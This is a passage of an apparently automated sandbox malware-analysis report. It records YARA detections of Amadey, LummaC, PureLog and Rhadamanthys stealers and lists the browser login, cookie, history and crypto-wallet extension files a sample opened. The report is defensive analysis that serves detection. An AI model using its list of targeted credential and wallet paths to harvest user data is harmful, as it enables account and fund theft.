Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007FCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_007FCBEA

Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.2.skotes.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.b70000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.7e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1713621110.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1741888657.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2282737175.00000000046D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1739503625.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1017355001\96ae609d19.exe, type: DROPPED

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000016.00000002.2756608289.0000000002C00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2737718865.0000000000BF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2741442978.0000000000880000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2741544851.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
